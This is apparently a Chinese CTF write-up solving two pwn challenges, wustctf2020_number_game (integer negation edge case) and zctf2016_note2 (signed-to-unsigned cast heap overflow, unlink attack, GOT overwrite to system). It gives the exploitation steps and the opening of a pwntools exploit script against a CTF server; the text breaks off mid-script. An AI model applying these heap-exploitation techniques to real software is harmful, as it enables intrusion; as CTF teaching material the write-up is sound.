目录
wustctf2020_number_game(neg操作原理)
需要输入一个数,变为负数之后还是负数
这题就涉及计组知识了,neg的操作为按位取反+1,而0x80000000取反加一之后仍然是0x80000000,所以答案为-2147483648
zctf2016_note2(强制转换溢出,unlink)
这次可以考虑覆写got表了
在my_read中存在一个强制转换的漏洞
a2为传入的buf长度,类型为有符号数,然后用a2-1与无符号数i进行比较,此时会将有符号数强制转换为无符号数,如果a2为0,减一之后就是0xffffffff,这样就能进行堆溢出
在edit中使用了strcpy或者strncat把堆的内容从缓冲区复制到堆上,所以编辑时如果有’\x00’就会截断
利用过程如下:
- 申请一个heap[0],大小为0x80,在其中伪造一个chunk
- 申请heap[1,2],1大小为0,但是会分配到一个0x20大小的chunk,2的大小必须为0x80,否则会进入fastbin而跳过unlink
- 删除1,再申请一个大小为0的heap,把heap[2]的chunk头部进行修改
- 删除2,unlink成功,然后往heap[0]中写入’a’*0x18+p64(atoi_got),show即可泄露地址,然后用edit改为system地址并输入/bin/sh即可
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 29136)
#r = process("./zctf2016_note2")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x401021
x/10gx 0x602120
c
''')
elf = ELF("./zctf2016_note2")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
bss_ptr = 0x602120
atoi_got = elf.got['atoi']
menu = "option--->>\n"
def add(size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Input the length of the note content:(less than 128)\n")
r.sendline(str(size))
r.recvuntil("Input the note content:\n")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Input the id of the note:\n")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Input the id of the note:\n")
r.sendline(str(index))
def edit(index, way, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Input the id of the note:\n")
r